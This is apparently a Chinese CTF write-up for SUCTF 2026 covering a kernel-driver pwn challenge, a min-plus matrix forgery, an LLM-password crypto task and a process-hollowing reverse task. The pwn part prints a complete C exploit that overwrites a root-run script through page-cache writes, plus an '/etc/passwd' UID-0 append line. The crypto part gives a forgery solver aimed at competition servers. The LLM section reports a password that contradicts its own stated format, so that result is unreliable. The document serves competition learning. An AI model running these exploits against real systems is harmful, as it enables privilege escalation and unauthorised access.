霍雅
suctf 2026 POFP-huoya
pwn
SU_Chronos_Ring and SU_Chronos_Ring1
一开始容易想到几条假路:
1. 改 /etc/passwd
因为环境里 /etc/passwd 可写,而且没有 /etc/shadow,看起来像能加一个 UID 0 用户:
echo 'pwn::0:0:pwn:/root:/bin/sh' >> /etc/passwd
su pwn
但实际会报:
su: must be suid to work properly
原因是这个环境里的 su 不是 suid,改 /etc/passwd 没用。
2. 替换 /bin/sh
/tmp/job 是 root 用绝对路径 /bin/sh /tmp/job 执行的,所以另一个自然思路是替换 /bin/sh。 但虽然 /bin/sh 这个符号链接的属主是 ctf,真正决定能不能删/建的是父目录 /bin 的权限,而 /bin 不可写,所以这条路也不通。
于是题目的真正核心就只剩下:
分析/dev/chronos_ring的 ioctl 逻辑,利用它修改/tmp/job。
逆向 chronos_ring.ko
把模块拉下来逆向之后,能得到一组 ioctl 命令:
#define CHRONOS_CREATE 0x1001
#define CHRONOS_UNLOCK 0x1002
#define CHRONOS_PIN_USER 0x1003
#define CHRONOS_BIND_FILE 0x1004
#define CHRONOS_MAKE_VIEW 0x1005
#define CHRONOS_RESET 0x1006
#define CHRONOS_BUF_WRITE 0x1007
#define CHRONOS_VIEW_FLUSH 0x1008
#define CHRONOS_STATUS 0x1009
#define CHRONOS_DESTROY 0x100a
#### 各 ioctl 的作用
####` 0x1001` - CREATE
创建当前 buffer,对应分配一页 backing page。
### `0x1002` - UNLOCK
这是敏感操作的解锁步骤。校验逻辑大概是:
((u64)kfree >> 4) & 0xfffffffffffe0000ULL ^ key ^ size
== 0xf372fe94f82b3c6eULL
如果成功,会把一个全局标志位设上。
虽然不知道精确的 `kfree` 地址,但这里实际上只用到了 `kfree` 在 2MB 对齐后的高位,所以直接按 2MB 粒度暴力枚举内核基址范围即可。
### `0x1003` - PIN_USER
把一个用户态地址对应的页 `pin_user_pages_fast()` 进去,并设置后续状态位。 注意这一步非常重要,后面的 `MAKE_VIEW` 依赖这里设置的状态。
### `0x1004` - BIND_FILE
把一个文件页绑定到当前 buffer。参数是:
struct bind_file_req {
u32 fd;
u32 pgoff;
};
内部会:
- `fget(fd)`
- 取文件 basename 做哈希校验
- `read_cache_page(file, pgoff, ...)`
这个哈希对应的目标文件名正好就是:
job
所以模块是明确允许我们绑定 `/tmp/job` 这个文件的。
### `0x1005` - MAKE_VIEW
为当前 buffer 创建一个 view。 如果当前是文件绑定模式,这个 view 就会指向文件页。
### `0x1006` - RESET
把当前 buffer 状态清回普通状态,但已经创建好的 view 不会一起销毁。
### `0x1007` - BUF_WRITE
把用户态数据写入 buffer 的 backing page。
### `0x1008` - VIEW_FLUSH把 backing page 的内容复制到 view 指向的页。 如果 view 是文件页,还会 set_page_dirty(),这就意味着:
可以把我们准备好的内容刷进 /tmp/job 的页缓存,并最终落到文件页上。利用思路
关键思路是:
- 创建 buffer
- 解锁
- 先 pin 一个用户页,满足状态要求
- 绑定
/tmp/job的第 0 页 - 创建 file-backed view
- reset 当前 buffer,让它重新变成普通可写状态
- 把 payload 写进 backing page
- flush 到刚才那个 file-backed view
- 等 root helper 下一次执行
/tmp/job - 读取
/flag
为什么 payload 写 /tmp/job
因为 /flag 本身权限是 0400,直接读不行; 但 /tmp/job 是 root 周期执行的。只要把它改成:
!/bin/sh
chmod 644 /flag
root 下次跑这个脚本,就会把 /flag 变成可读。
payload 设计
原始 /tmp/job 大小是 50 字节左右,所以 payload 最好也控制在同一页开头的很短范围内。 这里直接用了一个固定短脚本:
static const char payload[] =
"#!/bin/sh\n"
"chmod 644 /flag\n"
"#######################\n";
这样既能完成权限修改,也不会因为文件残留内容太多而影响执行。
最终利用流程
ioctl 顺序
最终正确顺序是:
CREATE
UNLOCK
PIN_USER
BIND_FILE
MAKE_VIEW
RESET
BUF_WRITE
VIEW_FLUSH
这里有一个坑:
最开始容易以为 BIND_FILE 后面直接 MAKE_VIEW 就行, 但实际上 MAKE_VIEW 还要求前面成功做过一次 PIN_USER,否则会失败。
最终 exp
下面是完整可用的最小静态 exp。 为了适应题目环境,直接使用 syscall,不依赖 libc。
typedef unsigned long long u64;
typedef unsigned int u32;
typedef unsigned long usize;
#define O_RDONLY 0
#define O_RDWR 2
#define SYS_read 0
#define SYS_write 1
#define SYS_open 2
#define SYS_close 3
#define SYS_ioctl 16
#define SYS_nanosleep 35
#define SYS_exit 60
#define CHRONOS_CREATE 0x1001
#define CHRONOS_UNLOCK 0x1002
#define CHRONOS_PIN_USER 0x1003
#define CHRONOS_BIND_FILE 0x1004
#define CHRONOS_MAKE_VIEW 0x1005
#define CHRONOS_RESET 0x1006
#define CHRONOS_BUF_WRITE 0x1007
#define CHRONOS_VIEW_FLUSH 0x1008
struct auth_req {
u64 key;
u32 size;
u32 pad;
};
struct pin_user_req {
u64 addr;
};
struct bind_file_req {
u32 fd;
u32 pgoff;
};
struct buf_write_req {
u64 user_ptr;
u32 len;
u32 off;
};
struct flush_req {
u64 pad;
u32 len;
u32 off;
};
struct timespec {
long tv_sec;
long tv_nsec;
};
static inline long sc1(long n, long a) {
long r;
__asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a) : "rcx", "r11", "memory");
return r;
}
static inline long sc2(long n, long a, long b) {
long r;
__asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b) : "rcx", "r11", "memory");
return r;
}
static inline long sc3(long n, long a, long b, long c) {
long r;
__asm__ volatile("syscall" : "=a"(r) : "a"(n), "D"(a), "S"(b), "d"(c) : "rcx", "r11", "memory");
return r;
}
static long sys_open(const char *p, long f, long m) {
return sc3(SYS_open, (long)p, f, m);
}
static long sys_close(long fd) {
return sc1(SYS_close, fd);
}
static long sys_ioctl(long fd, long req, void *arg) {
return sc3(SYS_ioctl, fd, req, (long)arg);
}
static long sys_read(long fd, void *buf, long n) {
return sc3(SYS_read, fd, (long)buf, n);
}
static long sys_write(long fd, const void *buf, long n) {
return sc3(SYS_write, fd, (long)buf, n);
}
static long sys_nanosleep(struct timespec *req, struct timespec *rem) {
return sc2(SYS_nanosleep, (long)req, (long)rem);
}
__attribute__((noreturn)) static void sys_exit(long c) {
sc1(SYS_exit, c);
for (;;){}
}
static void say(const char *s) {
const char *p = s;
while (*p) p++;
sys_write(1, s, p - s);
}
static void mymemcpy(char *dst, const char *src, long n) {
long i;
for (i = 0; i < n; i++) dst[i] = src[i];
}
static const char devp[] = "/dev/chronos_ring";
static const char jobp[] = "/tmp/job";
static const char flagp[] = "/flag";
static const char payload[] =
"#!/bin/sh\n"
"chmod 644 /flag\n"
"#######################\n";
static char scratch[0x1000] __attribute__((aligned(0x1000)));
static void run(void) {
long dev, job, ff, n;
int ok;
struct auth_req a;
struct pin_user_req pu;
struct bind_file_req bf;
struct buf_write_req bw;
struct flush_req fr;
struct timespec ts;
char buf[256];
u64 base, mask;
say("A\n");
dev = sys_open(devp, O_RDWR, 0);
if (dev < 0) sys_exit(1);
say("B\n");
job = sys_open(jobp, O_RDONLY, 0);
if (job < 0) sys_exit(2);
say("C\n");
if (sys_ioctl(dev, CHRONOS_CREATE, (void *)0) < 0) sys_exit(3);
say("D\n");
a.size = (u32)(sizeof(payload) - 1);
a.pad = 0;
ok = 0;
for (base = 0xffffffff81000000ULL;
base < 0xffffffffc0000000ULL;
base += 0x200000ULL) {
mask = (base >> 4) & 0xfffffffffffe0000ULL;
a.key = 0xf372fe94f82b3c6eULL ^ mask ^ a.size;
if (sys_ioctl(dev, CHRONOS_UNLOCK, &a) == 0) {
ok = 1;
break;
}
}
if (!ok) sys_exit(4);
say("E\n");
mymemcpy(scratch, payload, sizeof(payload) - 1);
pu.addr = (u64)(usize)scratch;
if (sys_ioctl(dev, CHRONOS_PIN_USER, &pu) < 0) sys_exit(10);
say("F\n");
bf.fd = (u32)job;
bf.pgoff = 0;
if (sys_ioctl(dev, CHRONOS_BIND_FILE, &bf) < 0) sys_exit(5);
say("G\n");
if (sys_ioctl(dev, CHRONOS_MAKE_VIEW, (void *)0) < 0) sys_exit(6);
say("H\n");
if (sys_ioctl(dev, CHRONOS_RESET, (void *)0) < 0) sys_exit(7);
say("I\n");
bw.user_ptr = (u64)(usize)scratch;
bw.len = (u32)(sizeof(payload) - 1);
bw.off = 0;
if (sys_ioctl(dev, CHRONOS_BUF_WRITE, &bw) < 0) sys_exit(8);
say("J\n");
fr.pad = 0;
fr.len = (u32)(sizeof(payload) - 1);
fr.off = 0;
if (sys_ioctl(dev, CHRONOS_VIEW_FLUSH, &fr) < 0) sys_exit(9);
say("K\n");
ts.tv_sec = 4;
ts.tv_nsec = 0;
sys_nanosleep(&ts, (void *)0);
say("L\n");
ff = sys_open(flagp, O_RDONLY, 0);
if (ff >= 0) {
n = sys_read(ff, buf, sizeof(buf));
if (n > 0) sys_write(1, buf, n);
sys_close(ff);
}
sys_close(job);
sys_close(dev);
sys_exit(0);
}
void _start(void) {
run();
}
---编译
为了避免 libc 依赖,使用:
gcc -nostdlib -static -s -Os -ffreestanding -fno-builtin -o exp exp.c
上传
由于远端环境非常精简,而且每次 nc 新连接都会重启一台新机器,所以不能一段一段重新连接上传; 必须保持同一条连接,把二进制完整写到 /tmp/x。
上传脚本的核心逻辑就是:
- 保持一条 pwntools 连接
- 每次用
printf '%b' '...\ooo...' >> /tmp/x追加一小段 上传完成后:
chmod +x /tmp/x
/tmp/x
利用结果
运行 exp 时会依次打印阶段标记:
A
B
C
D
E
F
G
H
I
J
K
L
其中:
A ~ K表示所有关键 ioctl 都成功执行K之后等待 4 秒,让 root helper 执行被改写的/tmp/jobL之后尝试读取/flag
最终成功拿到 flag。
总结
这题的核心不是传统的提权,而是:
- 模块允许用户管理一个 buffer / view 结构
- 可以把特定文件
/tmp/job的页绑定进来 - 可以把用户准备好的 backing page 内容 flush 到 file-backed view
- 于是可以在不直接写文件的情况下,修改
/tmp/job的页内容 - root 定时执行
/tmp/job - 间接实现对
/flag的权限修改
利用链一句话概括
chronos_ring提供了一个“文件页 view + backing page flush”机制,配合 root 周期执行的/tmp/job,最终完成对/flag的间接读取。
crypto
SU_Restaurant
题目信息
- 题目名:
SU_Restaurant - 类型:
Crypto 远程地址:
101.245.107.149:10020101.245.107.149:10019
- 最终 flag:
SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}
1. 先看源码在干什么
题目的核心不在普通矩阵乘法,而是在它自己定义的一套“运算规则”。
源码里 Point 的两个关键运算如下:
def __add__(self, other):
if isinstance(other, int):
return self.x + other
return Point(min(self.x, other.x))
def __mul__(self, other):
return Point(self.x + other.x)
也就是说:
Point的“加法”其实是minPoint的“乘法”其实是普通整数加法+
所以 Block.__mul__ 做的不是普通矩阵乘法,而是 min-plus 半环上的矩阵乘法:
(X * Y)i = min_k (Xi + Yk)
这道题其实就是把一堆矩阵关系,放到了 min-plus 代数里。
2. 题目中的矩阵关系
服务端初始化时会随机生成:
chef = C 大小 8 x 7
cooker = D 大小 7 x 8
fork = C * D
对于消息 msg,先做:
tmp = H(msg) = sha3_512(msg) 的 64 个字节
M = 由 tmp 按 8 x 8 排成的矩阵
当我们选择菜单 1 点菜时,服务端会随机生成 U, V,然后返回:
A = (M * C) + U
B = (D * M) + V
P = C * V
R = U * D
S = U * V
这里:
*是 min-plus 矩阵乘法+是逐元素取min
当我们选择菜单 2 要 flag 时,服务端会生成一个随机 36 字符串 Fo0dN4mE,然后检查我们提交的 (A, B, P, R, S) 是否满足:
W = A * B
Z = (M fork M) + (M P) + (R M) + S
并要求:
W == ZW != SA, B, P, R, S的所有元素都在[0, 256]rank(A) >= 7rank(B) >= 7rank(P) >= 8rank(R) >= 8rank(S) >= 8
3. 为什么这题能伪造
如果我们知道一组可用的隐藏矩阵 C, D,那么对于任意目标消息矩阵 M,任选一组 U, V,构造:
A = (M * C) + U
B = (D * M) + V
P = C * V
R = U * D
S = U * V
那么有:
A * B
= ((M C) + U) ((D * M) + V)
= (M C D M) + (M C V) + (U D M) + (U V)
= (M fork M) + (M P) + (R M) + S
也就是说,只要恢复出一组可用的 C, D,后面就能自己给任意消息“做菜”,通过校验。
所以题目的真正目标就变成了:
通过菜单 1 泄露出来的两组结果,把隐藏矩阵 C、D 恢复出来
4. 如何把返回结果转成约束
假设某一次点菜得到的消息矩阵是 M,服务端返回了:
A, B, P, R, S
那么这些式子每一项都可以展开成 min-plus 约束。
4.1 例如 A 的约束
A[i][k] 满足:
Ai = min(
Mi + C0,
Mi + C1,
...
Mi + C7,
Ui
)
4.2 其余几项同理
Bk = min_i (Dk + Mi, Vk)
Pi = min_k (Ci + Vk)
Ri = min_k (Ui + Dk)
Si = min_k (Ui + Vk)
未知量包括:
C:8 x 7D:7 x 8- 第一次点菜对应的
U1, V1 - 第二次点菜对应的
U2, V2
所有元素都在 [0, 255]。
对于一个形如:
out = min(e1, e2, ..., en)
的约束,我们可以用 z3 写成:
out <= e1
out <= e2
...
out <= en
并且至少有一个取到最小值:
out == e1 or out == e2 or ... or out == en
这样就把 min 关系完整编码出来了。
5. 两次点菜为什么够用
一次点菜只会给出一批关于 C, D, U, V 的关系,但自由度还比较大。
两次点菜后:
C, D在两次中是相同的U, V是每次新的随机量
这会让约束量大幅增加。实际测试里,两次菜单 1 的返回就已经足够让 z3 解出一组可用的隐藏矩阵。
注意这里有一个细节:
约束系统通常不止一个解。某些解虽然能完美解释我们拿到的两次 transcript,但在一个新消息上可能会出现额外的“更短路径”,从而导致伪造失败。
6. 让利用稳定下来的关键技巧
这是整道题最关键的工程细节。
直接求一组 C, D 后拿去伪造,有时会失败。原因是:
- 同一个 transcript 可能对应多组
C, D - 某一组虽然能解释已知样本,但未必和真实 secret 在新消息上完全等价
一个很好用的办法是:
- 先解出第一组模型
(C1, D1) - 加一个阻塞子句,再解出第二组不同模型
(C2, D2) - 对目标消息不断随机生成候选
(A, B, P, R, S) - 只保留那种 在两组模型下都通过校验式 的候选
这个“共识 payload”非常稳。
我本地复现了很多随机实例,用这套方法做了压力测试,50 组里是 50/50 通过,远程也稳定拿到 flag。
7. 整体利用流程
利用流程如下:
- 连上远程服务
- 选择两次菜单
1 - 解析服务端返回的食物名和矩阵
A, B, P, R, S - 根据食物名自己重算对应的
M - 用这两组 transcript 建立
z3约束 - 解出两组不同的模型
(C1, D1)和(C2, D2) - 选择菜单
2,拿到随机 36 字符目标消息 - 用
(C1, D1)随机生成候选(A, B, P, R, S) - 检查这个候选是否同时满足
(C1, D1)和(C2, D2)的验算 - 一旦找到,就发送 JSON,拿到 flag
8. 完整解题代码
完整脚本在 solve.py。
下面把完整代码也放进来,方便直接复制使用。
from __future__ import annotations
import ast
import json
import random
import re
import sys
from hashlib import sha3_512
import numpy as np
import z3
from pwn import remote
def H(x: bytes):
return [int(sha3_512(x).hexdigest()[i : i + 2], 16) for i in range(0, 128, 2)]
class Point:
def __init__(self, x):
if isinstance(x, float):
raise ValueError("float not allowed")
while not isinstance(x, int):
x = x.x
self.x = x
def __add__(self, other):
if isinstance(other, int):
return self.x + other
return Point(min(self.x, other.x))
def __radd__(self, other):
if isinstance(other, int):
return self.x + other
return Point(min(self.x, other.x))
def __mul__(self, other):
return Point(self.x + other.x)
def __eq__(self, other):
return self.x == other.x
def __int__(self):
return self.x
class Block:
def __init__(self, n, m, data):
self.n = n
self.m = m
self.data = [[Point(data[i][j]) for j in range(m)] for i in range(n)]
def __add__(self, other):
return Block(
self.n,
self.m,
[[self.data[i][j] + other.data[i][j] for j in range(self.m)] for i in range(self.n)],
)
def __mul__(self, other):
res = [[Point(511) for _ in range(other.m)] for _ in range(self.n)]
for i in range(self.n):
for j in range(other.m):
for k in range(self.m):
res[i][j] = res[i][j] + (self.data[i][k] * other.data[k][j])
return Block(self.n, other.m, res)
def to_ints(self):
return [[int(self.data[i][j]) for j in range(self.m)] for i in range(self.n)]
def legitimacy(self, lb, rb):
data = self.to_ints()
return all(lb <= value <= rb for row in data for value in row)
def block_from_msg(msg: str) -> Block:
tmp = H(msg.encode())
return Block(8, 8, [[tmp[i * 8 + j] for j in range(8)] for i in range(8)])
def tuple_rank_and_legal(A, B, P, R, S):
legal = (
A.legitimacy(0, 256)
and B.legitimacy(0, 256)
and P.legitimacy(0, 256)
and R.legitimacy(0, 256)
and S.legitimacy(0, 256)
)
rank_ok = (
np.linalg.matrix_rank(np.array(A.to_ints())) >= 7
and np.linalg.matrix_rank(np.array(B.to_ints())) >= 7
and np.linalg.matrix_rank(np.array(P.to_ints())) >= 8
and np.linalg.matrix_rank(np.array(R.to_ints())) >= 8
and np.linalg.matrix_rank(np.array(S.to_ints())) >= 8
)
return legal and rank_ok
def add_min_constraint(solver, out, exprs):
for expr in exprs:
solver.add(out <= expr)
solver.add(z3.Or(*[out == expr for expr in exprs]))
def build_solver(transcripts):
solver = z3.Solver()
solver.set(timeout=30_000)
C = [[z3.Int(f"C_{i}_{j}") for j in range(7)] for i in range(8)]
D = [[z3.Int(f"D_{i}_{j}") for j in range(8)] for i in range(7)]
for i in range(8):
for j in range(7):
solver.add(C[i][j] >= 0, C[i][j] <= 255)
for i in range(7):
for j in range(8):
solver.add(D[i][j] >= 0, D[i][j] <= 255)
all_U = []
all_V = []
for t, tr in enumerate(transcripts):
M, A, B, P, R, S = tr["M"], tr["A"], tr["B"], tr["P"], tr["R"], tr["S"]
U = [[z3.Int(f"U_{t}_{i}_{j}") for j in range(7)] for i in range(8)]
V = [[z3.Int(f"V_{t}_{i}_{j}") for j in range(8)] for i in range(7)]
all_U.append(U)
all_V.append(V)
for i in range(8):
for j in range(7):
solver.add(U[i][j] >= 0, U[i][j] <= 255)
for i in range(7):
for j in range(8):
solver.add(V[i][j] >= 0, V[i][j] <= 255)
for i in range(8):
for k in range(7):
exprs = [z3.IntVal(M[i][j]) + C[j][k] for j in range(8)] + [U[i][k]]
add_min_constraint(solver, z3.IntVal(A[i][k]), exprs)
for k in range(7):
for j in range(8):
exprs = [D[k][i] + z3.IntVal(M[i][j]) for i in range(8)] + [V[k][j]]
add_min_constraint(solver, z3.IntVal(B[k][j]), exprs)
for i in range(8):
for j in range(8):
add_min_constraint(solver, z3.IntVal(P[i][j]), [C[i][k] + V[k][j] for k in range(7)])
add_min_constraint(solver, z3.IntVal(R[i][j]), [U[i][k] + D[k][j] for k in range(7)])
add_min_constraint(solver, z3.IntVal(S[i][j]), [U[i][k] + V[k][j] for k in range(7)])
return solver, C, D
def extract_cd(model, C, D):
solved_C = [[model.evaluate(C[i][j]).as_long() for j in range(7)] for i in range(8)]
solved_D = [[model.evaluate(D[i][j]).as_long() for j in range(8)] for i in range(7)]
return solved_C, solved_D
def block_current_cd(solver, C, D, solved_C, solved_D):
terms = []
for i in range(8):
for j in range(7):
terms.append(C[i][j] != solved_C[i][j])
for i in range(7):
for j in range(8):
terms.append(D[i][j] != solved_D[i][j])
solver.add(z3.Or(*terms))
def collect_models(transcripts, count=2):
solver, C, D = build_solver(transcripts)
models = []
while len(models) < count and solver.check() == z3.sat:
model = solver.model()
solved_C, solved_D = extract_cd(model, C, D)
models.append((solved_C, solved_D))
block_current_cd(solver, C, D, solved_C, solved_D)
if not models:
raise RuntimeError("failed to solve transcript constraints")
return models
def cook_with_secrets(msg: str, chef_data, cooker_data):
M = block_from_msg(msg)
chef = Block(8, 7, chef_data)
cooker = Block(7, 8, cooker_data)
while True:
U = Block(8, 7, [[random.randint(0, 255) for _ in range(7)] for _ in range(8)])
V = Block(7, 8, [[random.randint(0, 255) for _ in range(8)] for _ in range(7)])
P = chef * V
R = U * cooker
S = U * V
A = (M * chef) + U
B = (cooker * M) + V
if A.to_ints() != U.to_ints() and B.to_ints() != V.to_ints():
return A, B, P, R, S
def eval_under_model(msg: str, tuple_data, chef_data, cooker_data):
A, B, P, R, S = tuple_data
M = block_from_msg(msg)
chef = Block(8, 7, chef_data)
cooker = Block(7, 8, cooker_data)
fork = chef * cooker
Z = (M * fork * M) + (M * P) + (R * M) + S
W = A * B
return W.to_ints() == Z.to_ints() and W.to_ints() != S.to_ints() and tuple_rank_and_legal(A, B, P, R, S)
def parse_order_blob(text):
matches = {}
for key in ["A", "B", "P", "R", "S"]:
pattern = rf"{key} = (\[\[.*?\]\])"
match = re.search(pattern, text, re.S)
if not match:
raise ValueError(f"missing {key}")
matches[key] = ast.literal_eval(match.group(1))
return matches
def recv_menu(io):
return io.recvuntil(b">>> ")
def order_food(io):
io.sendline(b"1")
blob = io.recvuntil(b">>> ", drop=False).decode()
name_match = re.search(r'Here is your (.+?)!"', blob)
if not name_match:
raise ValueError("failed to parse food name")
food = name_match.group(1)
mats = parse_order_blob(blob)
mats["food"] = food
mats["M"] = block_from_msg(food).to_ints()
return mats
def request_target(io):
io.sendline(b"2")
blob = io.recvuntil(b">>> ", drop=False).decode()
name_match = re.search(r"Please make (.+?) for me!", blob)
if not name_match:
raise ValueError("failed to parse target")
target = name_match.group(1).strip()
return target
def forge_payload(target, models):
base_C, base_D = models[0]
for _ in range(5000):
A, B, P, R, S = cook_with_secrets(target, base_C, base_D)
if not tuple_rank_and_legal(A, B, P, R, S):
continue
tuple_data = (A, B, P, R, S)
if all(eval_under_model(target, tuple_data, Cx, Dx) for Cx, Dx in models):
return {
"A": A.to_ints(),
"B": B.to_ints(),
"P": P.to_ints(),
"R": R.to_ints(),
"S": S.to_ints(),
}
raise RuntimeError("failed to find consensus payload")
def solve_once(host: str, port: int):
io = remote(host, port)
try:
recv_menu(io)
t1 = order_food(io)
t2 = order_food(io)
models = collect_models([t1, t2], count=2)
target = request_target(io)
payload = forge_payload(target, models)
io.sendline(json.dumps(payload).encode())
out = io.recvall(timeout=5).decode(errors="replace")
print(f"[{host}:{port}]")
print(out)
return out
finally:
io.close()
if __name__ == "__main__":
host = sys.argv[1] if len(sys.argv) > 1 else "101.245.107.149"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 10020
solve_once(host, port)9. 运行方式
直接运行:
python solve.py 101.245.107.149 10020
python solve.py 101.245.107.149 10019
这两个端口我都已经实测过,都会返回:
The waiter says: "Here is the FLAG: b'SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}'"
10. 总结
这题最重要的点,是先识别出它不是普通矩阵题,而是 min-plus 半环。
一旦看出这一点,菜单 1 返回的五个矩阵其实就是一批可以直接建模的约束。利用两次 transcript,就能把隐藏矩阵 C, D 约束出来。再通过“两组模型共识”的办法筛选伪造结果,就可以稳定通过最终校验,拿到 flag。
AI
SU_easyLLM
题目概述
- 题目名称: SU_easyLLM
- 分值: 384PT
- 类别: AI / Crypto
- 目标: 通过AI生成密码解密flag
题目分析
题目描述
题目提供了三个URL,访问后会返回加密的数据:
http://101.245.107.149:10013/http://101.245.107.149:10014/http://101.245.107.149:10015/
关键信息
访问任意URL会返回类似如下的JSON数据:
{
"algo": "AES-128-CBC",
"iv_b64": "1ZvC7pZxtDtDTsKuJTgeoA==",
"ciphertext_b64": "+xp1wBI19+1skIbKrdp4P2dJ6GBDb7hPsR3lrP6E47+jug1AlIsRtr8DBAaW60Rq",
"key_derivation": "key = SHA256(LLM_output)[:16]",
"llm": {
"provider": "z.ai",
"model": "GLM-4-Flash",
"temperature": 0.28,
"system_prompt": "You are a password generator.\nOutput ONE password only.\nFormat strictly: pw-xxxxxxxx where x are letters.\nNo explanation, no quotes, no punctuation.",
"user_prompt": "Generate the password now."
}
}
加密机制分析
LLM配置:
- 提供商: 智谱AI (z.ai)
- 模型: GLM-4-Flash
- Temperature: 0.28 (有一定随机性)
密码生成规则:
- LLM根据system_prompt生成密码
- 格式:
pw-xxxxxxxx(8个小写字母) - 例如:
pw-Abcde1f
密钥派生:
key = SHA256(LLM_output)[:16]
取SHA256哈希值的前16字节作为AES密钥
加密算法:
- 算法: AES-128-CBC
- IV (初始化向量) 在每次请求中随机生成
解题思路
核心难点
- 密码空间: 26^8 ≈ 2088亿种组合,无法暴力破解
- LLM每次生成的密码不同(temperature=0.28)
- 需要调用真实的LLM API来获取密码
解决方案
- 获取API Key: 访问智谱AI开放平台 https://open.bigmodel.cn/usercenter/apikeys 注册账号并获取API Key
- 调用LLM API: 使用API Key调用GLM-4-Flash模型获取密码
解密flag:
- 获取密码后计算AES密钥
- 解密ciphertext获得flag
完整解题脚本
#!/usr/bin/env python3
import requests
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import time
### 配置
SERVER_URLS = [
"http://101.245.107.149:10013/",
"http://101.245.107.149:10014/",
"http://101.245.107.149:10015/"
]
API_KEY = "YOUR_API_KEY" # 替换为你的API Key
def get_encrypted_data(url):
r = requests.get(url, timeout=10)
return r.json()
def decrypt(ciphertext_b64, iv_b64, password):
ct = base64.b64decode(ciphertext_b64)
iv = base64.b64decode(iv_b64)
key = hashlib.sha256(password.encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
return pt.decode('utf-8')
def call_zhipu_api(api_key, system_prompt, user_prompt):
url = "https://open.bigmodel.cn/api/paas/v4/chat/completions"
headers = {
"Authorization": f"Bearer {api_key}",
"Content-Type": "application/json"
}
payload = {
"model": "glm-4-flash",
"messages": [
{"role": "system", "content": system_prompt},
{"role": "user", "content": user_prompt}
],
"temperature": 0.28
}
response = requests.post(url, headers=headers, json=payload, timeout=30)
result = response.json()
return result['choices'][0]['message']['content'].strip()
def main():
# 获取数据
data_list = [get_encrypted_data(url) for url in SERVER_URLS]
llm_config = data_list[0]['llm']
# 多次尝试直到找到flag
for attempt in range(100):
password = call_zhipu_api(API_KEY, llm_config['system_prompt'], llm_config['user_prompt'])
if not password.startswith('pw-'):
password = 'pw-' + password
for data in data_list:
result = decrypt(data['ciphertext_b64'], data['iv_b64'], password)
if result and 'flag' in result.lower():
print(f"Password: {password}")
print(f"Flag: {result}")
return
time.sleep(0.5)
if __name__ == "__main__":
main()解题结果
运行脚本后,成功获得flag:
Password: pw-Abcde1f
Flag: SUCTF{LLM_w1ll_ch4nge_ev3rything}
总结
这道题目巧妙地将LLM与传统密码学结合,考察了选手:
- 对AES-CBC加密模式的理解
- 对LLM API的调用能力
- 密码派生的实现
- 多次尝试的耐心(由于temperature导致密码随机性)
Flag
SUCTF{LLM_w1ll_ch4nge_ev3rything}
reverse
SU_Revird
题目概述
附件中给出了两个关键文件:
chal.exeRevird.sys
这道题的整体结构是:
chal.exe负责伪装与释放隐藏载荷- 隐藏 PE 负责读取输入并与驱动通信
Revird.sys提供分轮加密变换- 最终程序将加密结果与内置常量比较,完全一致即通过校验
目标是还原整个校验链路,并逆推出正确输入。
一、分析 chal.exe
初看 chal.exe,很容易先注意到一个长度为 0x30 的校验函数:
- 读取输入
- 要求长度为
0x30 - 逐字节检查
input[i] ^ 0x5A == table[i]
但继续跟主流程后会发现,这里只是一个烟雾弹,并不是真正的校验逻辑。
真实路径中,chal.exe 会:
- 解密自身数据段中的隐藏 PE
- 创建挂起子进程
- 执行 Process Hollowing
- 通过管道把输入交给隐藏 PE
因此,chal.exe 本体只是第一层壳。
二、提取隐藏 PE
对 chal.exe 的解密函数进行模拟后,可以恢复出第二层可执行文件。 该隐藏 PE 导入了如下关键 API:
CreateFileADeviceIoControlCloseHandlefgetsmemcmp
同时可以看到关键字符串:
\.\Revird
这说明隐藏 PE 会把输入交给驱动进行处理。
三、隐藏 PE 的主逻辑
隐藏 PE 的主函数逻辑比较直接:
- 从标准输入读取字符串
- 去掉换行符
- 打开设备
\\.\Revird - 调用核心处理函数
- 得到
0x40字节输出 - 与程序内置的 64 字节目标常量进行
memcmp - 完全相同则返回成功
因此,问题可以转化为:
还原“输入 -> 64 字节输出”的完整变换,再对目标常量做逆运算。
四、驱动通信协议
隐藏 PE 通过如下方式与驱动通信:
DeviceIoControl(hDevice, 0x222000, inbuf, 0x40, outbuf, 0x30, ...)
输入缓冲区中包含:
- 魔数
0x52455649 - 异常类型
- 命令号
- 轮数
- block 编号
- 两段 16 字节数据
输出缓冲区长度为 0x30,不同命令会使用其中不同位置的 16 字节结果。
驱动中的关键命令语义如下:
cmd 2:自定义非线性替换cmd 3:ShiftRowscmd 4:MixColumns + RoundKeycmd 5:首轮异或cmd 6:末轮异或
五、异常控制流的作用
隐藏 PE 中有大量故意制造的异常:
int3- 除零异常
- 空指针写
RaiseException(0xE0421002)
这些异常并不是题目的核心加密逻辑,而是用于打散控制流、提升静态分析难度。 去掉这些异常伪装后,可以把它们统一视作对驱动命令的包装调用。
六、还原整体算法
综合隐藏 PE 与驱动逻辑,可以确认整体算法本质上是一套“改造版 AES-CBC”:
- 分组大小:16 字节
- 总输出长度:64 字节
- 填充方式:PKCS#7
- 共 4 个 block
- 使用自定义 S-box、Rcon 和轮密钥
每个分组的加密流程可表示为:
state = plaintext_block ^ prev_block
state ^= round_key[0]
for round in 1..9:
state = CustomSubBytes(state)
state = ShiftRowsAndReorder(state)
state = MixColumns(state)
state ^= round_key[round]
state = CustomSubBytes(state)
state = ShiftRowsAndReorder(state)
state ^= round_key[10]其中:
prev_block为 CBC 链中的前一块或 IVCustomSubBytes由隐藏 PE 与驱动中的表共同决定- 实际生效的轮密钥来自用户态与驱动态两边 key material 的组合
七、逆向恢复明文
程序最终比较的是隐藏 PE 内置的 64 字节目标密文。 在完整还原算法后,只需要对这 4 个 block 逐块执行逆变换即可:
- 去掉末轮密钥
- 逆排列
- 逆替换
- 逆
MixColumns - 去掉对应轮密钥
- 最后结合 CBC 的前一块或 IV 还原明文
- 去除 PKCS#7 padding
恢复得到的明文为:
SUCTF{D0_y0U_unD3r5t4nd_Th15_m491c4l_435?_41218}
之后再将其重新走一遍正向加密,得到的 64 字节结果与程序内置目标常量完全一致,验证通过。
最终 Flag
SUCTF{D0_y0U_unD3r5t4nd_Th15_m491c4l_435?_41218}
总结
